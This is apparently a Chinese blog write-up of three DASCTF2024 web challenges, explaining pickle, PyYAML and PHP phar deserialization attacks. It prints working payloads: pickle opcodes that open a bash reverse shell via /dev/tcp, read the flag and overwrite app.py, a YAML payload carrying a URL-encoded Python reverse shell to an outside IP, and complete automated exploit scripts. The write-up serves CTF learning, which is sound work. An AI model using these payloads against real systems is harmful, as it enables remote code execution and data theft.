DASCTF2024 寒夜破晓,冬至终章 web

DASCTF2024 X Opsu3 web复现

正好wp出了,看看题想点思路然后就看wp了,就学点解题方法

const_python

访问/src获得源码


import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64


app = Flask(__name__)

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")


class User:
    def __init__(self, username, password, auth='ctfer'):
        self.username = username
        self.password = password
        self.auth = auth

password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")

@app.route('/')
def index():
    return "Welcome to my application"


@app.route('/login', methods=['GET', 'POST'])
def post_login():
    if request.method == 'POST':

        username = request.form['username']
        password = request.form['password']


        if username == 'admin' :
            if password == admin.password:
                session['username'] = "admin"
                return "Welcome Admin"
            else:
                return "Invalid Credentials"
        else:
            session['username'] = username


    return '''
        <form method="post">
        <!-- /src may help you>
            Username: <input type="text" name="username"><br>
            Password: <input type="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
    '''


@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    data = request.form['data']

    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:

        pickle_data = base64.b64decode(data)
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
                 'compile', 'requests', 'exit',  'pickle',"class","mro","flask","sys","base","init","config","session"}:
            if i.encode() in pickle_data:
                return i+" waf !!!!!!!"

        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"


@app.route('/admin', methods=['POST'])
def admin():
    username = session['username']
    if username != "admin":
        return jsonify({"message": 'You are not admin!'})
    return "Welcome Admin"


@app.route('/src')
def src():
    return  open("app.py", "r",encoding="utf-8").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5000)

我的思路

就一处pickle。。。。

想到的思路就两个要么有在黑名单之外的能够命令执行,要么覆盖app.py文件,然后读取

然后看wp,还真是这两个思路

但是要我来具体做题的话还是写不出来的

命令执行(黑名单最大的败笔)

https://xz.aliyun.com/t/16864

虽然把os置空了,但还有subprocess。。。。。。。。

文章payload

poc = b'''csubprocess
run
p0
((lp1
Vbash
p2
aV-c
p3
aVbash -i >& /dev/tcp/ip/port 0>&1
p4
atp5
Rp6.
'''

这里实际上相当于

subprocess.run(["bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"])

他opcode里的V就是用unicode字符,但他的写法仍是原本的字符,直接用S也行

我使用pker生成一下

poc = b'''csubprocess
run
p0
0g0
((S'bash'
S'-c'
S'bash -i >& /dev/tcp/ip/port 0>&1'
ltR.'''

都差不多,比上面少了些a的数组追加操作

image-20241230165448298

覆盖app.py

这个思路是我在思考时认为实现几率挺大的

但是由于我只会写很短的opcode并且不会用pker,所以就没咋尝试

https://xz.aliyun.com/t/16866

可以使用builtins.open,有read,有write,可以读取/flag,然后写到app.py

payload

getattr = GLOBAL('builtins', 'getattr')

open = GLOBAL('builtins', 'open')
flag=open('/flag')
read=getattr(flag, 'read')
f=open('./app.py','w')
write=getattr(f, 'write')
fff=read()
write(fff)
return

写不出来,他不能有.操作,要写成getattr 哎说好的跟python差不多的呢

没啥解释的,payload很简单


b"cbuiltins\ngetattr\np0\n0cbuiltins\nopen\np1\n0g1\n(S'/flag'\ntRp2\n0g0\n(g2\nS'read'\ntRp3\n0g1\n(S'./app.py'\nS'w'\ntRp4\n0g0\n(g4\nS'write'\ntRp5\n0g3\n(tRp6\n0g5\n(g6\ntR."

image-20241230164519506

官方wp

思路也是覆盖app.py,但这个巨牛,使用types的CodeType修改常量字节码,修改函数读取的文件

types.CodeType(oCode.co_argcount, 
                                oCode.co_posonlyargcount, 
                                oCode.co_kwonlyargcount, 
                                oCode.co_nlocals, 
                                oCode.co_stacksize, 
                                oCode.co_flags,
                                oCode.co_code, 
                                oCode.co_consts,   # 需要的
                                oCode.co_names, 
                                oCode.co_varnames,
                                oCode.co_filename,
                                oCode.co_name, 
                                oCode.co_firstlineno, 
                                oCode.co_lnotab,
                                oCode.co_freevars,
                                oCode.co_cellvars,)

oCode.co_consts是我们需要的

def src():
    return  open("app.py", "r",encoding="utf-8").read()

oCode = src.__code__.co_consts

print(oCode)

image-20241230173923450

然后就能看懂官方wp了

给出最终opcode实际做的操作

def src():
    return  open("app.py", "r",encoding="utf-8").read()

oCode = src.__code__
src.__code__= types.CodeType(oCode.co_argcount, 
                                oCode.co_posonlyargcount, 
                                oCode.co_kwonlyargcount, 
                                oCode.co_nlocals, 
                                oCode.co_stacksize, 
                                oCode.co_flags,
                                oCode.co_code, 
                                (None, '/flag', 'r', 'utf-8', ('encoding',))
                                oCode.co_names, 
                                oCode.co_varnames,
                                oCode.co_filename,
                                oCode.co_name, 
                                oCode.co_firstlineno, 
                                oCode.co_lnotab,
                                oCode.co_freevars,
                                oCode.co_cellvars,)
import builtins
import types

def src():
    return  open("app.py", "r",encoding="utf-8").read()
for i in src.__code__.__dir__():
    print(f"{i} : {getattr(src.__code__, i)}")

g1 = builtins.getattr
g2 = getattr(src,"__code__")
g3 = getattr(g2,"co_argcount")
g4 = getattr(g2,"co_posonlyargcount")
g5 = getattr(g2,"co_kwonlyargcount")
g6 = getattr(g2,"co_nlocals")
g7 = getattr(g2,"co_stacksize")
g8 = getattr(g2,"co_flags")
g9 = getattr(g2,"co_code")
g10 = (None, 'flag', 'r', 'utf-8', ('encoding',))#g10 = getattr(g2,"co_consts")
g11 = getattr(g2,"co_names")
g12 = getattr(g2,"co_varnames")
g13 = getattr(g2,"co_filename")
g14 = getattr(g2,"co_name")
g15 = getattr(g2,"co_firstlineno")
g16 = getattr(g2,"co_lnotab")
g17 = getattr(g2,"co_freevars")
g18 = getattr(g2,"co_cellvars")

g19 = types.CodeType(g3,g4,g5,g6,g7,g8,g9,g10,g11,g12,g13,g14,g15,g16,g17,g18)
g20 = builtins.setattr
g20(src,"__code__",g19)
print(src())
op3 = b'''cbuiltins
getattr
p0
c__main__
src
p3
g0
(g3
S'__code__'
tRp4
g0
(g4
S'co_argcount'
tRp5
g0
(g4
S'co_argcount'
tRp6
g0
(g4
S'co_kwonlyargcount'
tRp7
g0
(g4
S'co_nlocals'
tRp8
g0
(g4
S'co_stacksize'
tRp9
g0
(g4
S'co_flags'
tRp10
g0
(g4
S'co_code'
tRp11
(NS'/flag'
S'r'
S'utf-8'
(S'encoding'
ttp12
g0
(g4
S'co_names'
tRp13
g0
(g4
S'co_varnames'
tRp14
g0
(g4
S'co_filename'
tRp15
g0
(g4
S'co_name'
tRp16
g0
(g4
S'co_firstlineno'
tRp17
g0
(g4
S'co_lnotab'
tRp18
g0
(g4
S'co_freevars'
tRp19
g0
(g4
S'co_cellvars'
tRp20
ctypes
CodeType
(g5
I0
g7
g8
g9
g10
g11
g12
g13
g14
g15
g16
g17
g18
g19
g20
tRp21
cbuiltins
setattr
(g3
S"__code__"
g21
tR.'''

yaml_master

import os
import re
import yaml
from flask import Flask, request, jsonify, render_template


app = Flask(__name__, template_folder='templates')

UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):


    blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate',
                       'command','static','templates','session','&','globals','builtins'
                       'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
                       'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}

    input_str_lower = str(input_str).lower()


    for term in blacklist_terms:
        if term in input_str_lower:
            print(f"Found blacklisted term: {term}")
            return True
    return False



file_pattern = re.compile(r'.*\.yaml$')


def is_yaml_file(filename):
    return bool(file_pattern.match(filename))

@app.route('/')
def index():
    return '''
    Welcome to DASCTF X 0psu3
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/Yam1">Yam1</a>
    '''

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        try:
            uploaded_file = request.files['file']

            if uploaded_file and is_yaml_file(uploaded_file.filename):
                file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)
                uploaded_file.save(file_path)

                return jsonify({"message": "uploaded successfully"}), 200
            else:
                return jsonify({"error": "Just YAML file"}), 400

        except Exception as e:
            return jsonify({"error": str(e)}), 500


    return render_template('upload.html')

@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
    filename = request.args.get('filename','')
    if filename:
        with open(f'uploads/{filename}.yaml', 'rb') as f:
            file_content = f.read()
        if not waf(file_content):
            test = yaml.load(file_content)
            print(test)
    return 'welcome'


if __name__ == '__main__':
    app.run()


我的思路

很明显pyyaml考点,限定yaml后缀

猜测是5.1的低版本(看wp说直接load的是5.1版本,高版本要指定加载器

。。。没咋思考,感觉网上的payload应该有能用的

wp

直接用type+tuple,能够执行extend

!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "python代码"

url编码绕过进行反弹shell

https://xz.aliyun.com/t/16866

禁了很多编码,但漏了url。。。。

__import__('os').system('python3 -c \'import os,pty,socket;s=socket.socket();s.connect(("111.xxx.xxx.159",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")\'')
!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "import urllib; exec(urllib.parse.unquote('%5f%5f%69%6d%70%6f%72%74%5f%5f%28%27%6f%73%27%29%2e%73%79%73%74%65%6d%28%27%70%79%74%68%6f%6e%33%20%2d%63%20%5c%27%69%6d%70%6f%72%74%20%6f%73%2c%70%74%79%2c%73%6f%63%6b%65%74%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%31%31%2e%78%78%78%2e%78%78%78%2e%31%35%39%22%2c%37%37%37%37%29%29%3b%5b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%66%29%66%6f%72%20%66%20%69%6e%28%30%2c%31%2c%32%29%5d%3b%70%74%79%2e%73%70%61%77%6e%28%22%73%68%22%29%5c%27%27%29'))"

请求头回显

werkzeug.serving.WSGIRequestHandler这个处理器是用来处理请求头的

Server头的值是server_version属性和sys_version属性拼接在一起的

那我们只需要想办法修改server_version属性或者sys_version属性即可带出数据了

import werkzeug
setattr(werkzeug.serving.WSGIRequestHandler, "server_version",'想要带出的数据' )
!!python/object/new:type
        args:
         - exp
         - !!python/tuple []
         - {"extend": !!python/name:exec }
        listitems: |
         bb=open("/flag").read()
         import werkzeug
         setattr(werkzeug.serving.WSGIRequestHandler, "server_version",bb )

一把梭脚本

import requests

# 目标 URL
url = 'http://localhost:7389/'


content="""!!python/object/new:type
    args:
     - exp
     - !!python/tuple []
     - {"extend": !!python/name:exec }
    listitems: |
     bb=open("/flag").read()
     import werkzeug
     setattr(werkzeug.serving.WSGIRequestHandler, "server_version",bb )
 """


files = {'file': ('3.yaml', content, 'application/octet-stream')}

# 设置请求头
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0',
    'Accept': '*/*',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
    'Connection': 'close'
}

# 发送 POST 请求
response = requests.post(url+'upload', headers=headers, files=files)

# 打印响应内容
print(response.status_code)
print(response.text)


res = requests.get(url=url+'Yam1?filename=3')
print(res.headers)

strange_php

我的思路

代码中看到一些魔术方法,看到许多文件操作,应该是phar反序列化

剩下的就是一些sql语句,好像也没啥

不太懂

官方wp

welcome.php能够写txt文件和删除txt文件功能

通过User.php和UserMessage.php得知存在魔术方法进行反序列化利用

链子

如何触发到__set呢,这里很厉害

直接引用吧,确实写得好

通过User::__destruct->User::log ,User::log指定查询数据库来源,设定"options"=>[PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE,]],使得查询结果,第一列返回结果作为类名实例化,之后的结果会变成属性名和属性值进行赋值,对于未定义的属性会触发这个类的__set方法。数据库第一行结果为UserMessage,所以会实例化UserMessage

image-20241230225827046

我们能实例化一个PDO_connect,设置属性进行连接,并把options设置为上面所述

然后要加入数据,第一个的值设置为想要实例化的类,这里就是我们想要触发的__set所在的UserMessage

同时要设置一个UserMessage中不存在的属性,让其触发__set

最后要有filePath指定读什么文件

三者构成了wp中的

def gen_db(db_path):

    conn = sqlite3.connect(db_path)
    cursor = conn.cursor()
    cursor.execute('''
    CREATE TABLE IF NOT EXISTS users (

        username TEXT NOT NULL,
        filePath TEXT NOT NULL,
        password TEXT NOT NULL,

        id INTEGER PRIMARY KEY AUTOINCREMENT
    )
    ''')
    users = [
        ('UserMessage', '/flag', '/flag'),
    ]
    cursor.executemany('''
    INSERT INTO users (username, password,filePath) VALUES (?,?,?)
    ''', users)

    conn.commit()

    cursor.execute('SELECT * FROM users')

    conn.close()

这里注意,题目原来是mysql数据库,但是mysql不能指定数据库文件,sqlite数据库可以

db_path随便传一个不存在的名字,就会生成该名字的数据库文件,包含了数据信息

本地执行一下,然后把生成的文件写入到题目中,得到一个txt路径

image-20241230231359636

当然也可以连接远程vps上的mysql,写入指定数据就行

生成phar

<?php


class PDO_connect
{
    private $pdo;
    public $con_options = [];//use to set options of PDO connections
    public $smt;
    public function __construct()
    {
        $this->con_options = [
        	//连接指定的数据库文件
            "dsn" => 'sqlite:/var/www/html/f856faaf1f24eddf7cbfd0690ff93068.txt',
            "username" => "root",
            "password" => "root",
            "options" => [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE,]
        ];


    }

}
class User
{
    private $conn;
    private $table = 'users';

    public $id;
    public $username;

    public $password;

    public function __construct()
    {

        $this->conn = new PDO_connect();
        $this->username = "UserMessage";

    }
}
$a = new User();
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);

$phar->addFromString("a.txt", "aaaaaaaaaaaaa");
$phar->stopBuffering();

同样写入,得到一个txt路径

image-20241230232331701

删除文件处有个unlink能触发phar反序列化

image-20241230232405464

触发时记得删掉.txt后缀

然后把/flagmd5加密一下,得到log目录下的文件名称

访问即可

说实话wp的一把梭脚本有点问题。。。。。。。。。

给出修改后的一把梭

//exp.php



<?php

class PDO_connect
{
    private $pdo;
    public $con_options = [];//use to set options of PDO connections
    public $smt;
    public function __construct()
    {
        $this->con_options = [
            "dsn" => 'sqlite:/var/www/html/f856faaf1f24eddf7cbfd0690ff93068.txt',
            "username" => "root",
            "password" => "root",
            "options" => [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE,]
        ];


    }

}
class User
{
    private $conn;
    private $table = 'users';

    public $id;
    public $username;

    public $password;

    public function __construct()
    {

        $this->conn = new PDO_connect();
        $this->username = "UserMessage";

    }
}
$a = new User();
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);

$phar->addFromString("a.txt", "aaaaaaaaaaaaa");
$phar->stopBuffering();
#!/usr/bin/python
#  -*- coding: utf-8 -*-
import base64
import hashlib
import random
import re
import sqlite3
import string
import subprocess
import requests



pattern = r"[0-9a-f]{32}\.txt"
sear = re.compile(pattern)
headers = {"Cache-Control": "max-age=0",
           "sec-ch-ua": "\"Microsoft Edge\";v=\"125\", \"Chromium\";v=\"125\", \"Not.A/Brand\";v=\"24\"",
           "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"Windows\"", "Upgrade-Insecure-Requests": "1",
           "Origin": "http://localhost:1919", "Content-Type": "application/x-www-form-urlencoded",
           "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0",
           "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
           "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1",
           "Sec-Fetch-Dest": "document", "Referer": "http://localhost:1919/welcome.php",
           "Accept-Encoding": "gzip, deflate, br",
           "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"}

session = requests.Session()
def gen_db(db_path):
    conn = sqlite3.connect(db_path)
    cursor = conn.cursor()
    cursor.execute('''
    CREATE TABLE IF NOT EXISTS users (

        username TEXT NOT NULL,
        filePath TEXT NOT NULL,
        password TEXT NOT NULL,
        
        id INTEGER PRIMARY KEY AUTOINCREMENT
    )
    ''')
    users = [
        ('UserMessage', '/flag', '/flag'),
    ]
    cursor.executemany('''
    INSERT INTO users (username, password,filePath) VALUES (?,?,?)
    ''', users)

    conn.commit()

    cursor.execute('SELECT * FROM users')

    conn.close()

def encode_file_to_base64(input_file_path):

    binary_data = open(input_file_path, 'rb').read()
    base64_encoded_data = base64.b64encode(binary_data).decode('utf-8')
    return base64_encoded_data

def gen_phar(filename):

    code = open('exp.php', 'r').read()
    result = re.sub(sear, filename, code)
    # print(result)
    php_file = "1.php"
    with open(php_file, 'w') as file:
        file.write(result)

    result = subprocess.run(['php', php_file], capture_output=True, text=True)

def generate_random_string():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=19))
def write_file(url,file_path):

    # res = session.post(url+"/welcome.php", data=file_path)
    file_data = encode_file_to_base64(file_path)
    # file_data = quote(file_data)
    burp0_data = {"action": "message",
                  "encodedMessage":file_data,
                  "1":"1",}

    r = session.post(f"{url}/welcome.php", data=burp0_data, headers=headers,)
    msg = sear.findall(r.text)[0]

    return msg

def phar_triger(url,file_path):
    data = {"action": "delete", "message_path": file_path}
    r = session.post(f"{url}/welcome.php", data=data)
    return r
def exp(url):

    #url = "http://%s:%s/"% (ip, port,)
    username = generate_random_string()
    password = generate_random_string()
    target1 = url + "/main.php?action=register"
    target2 = url + "/main.php?action=login"
    res1 = session.post(target1, data={"username": username, "password": password})
    res2 = session.post(target2, data={"username": username, "password": password})
    db_path = generate_random_string()
    gen_db(db_path)
    sqlite = write_file(url, db_path)

    gen_phar(sqlite)
    txt_name_phar = write_file(url, "shell.phar")
    phar_filename = "phar:///var/www/html/txt/" + txt_name_phar
    phar_triger(url, phar_filename.replace(".txt", ""))
    target_file = hashlib.md5("/flag".encode()).hexdigest() + ".txt"
    res_exp = session.get(url + "/log/" + target_file)
    print(res_exp.text)



if __name__ == '__main__':
    url = "http://594317d0-c4ae-447a-8906-fec7d9e31650.node5.buuoj.cn:81"
    exp(url)

image-20241230235945821

finally

中等难度吧,前两个还好,最后一个确实不会

难评,我太菜了


DASCTF2024 寒夜破晓,冬至终章 web
https://zer0peach.github.io/2024/12/30/DASCTF2024-寒夜破晓-冬至终章-web/
作者
Zer0peach
发布于
2024年12月30日
许可协议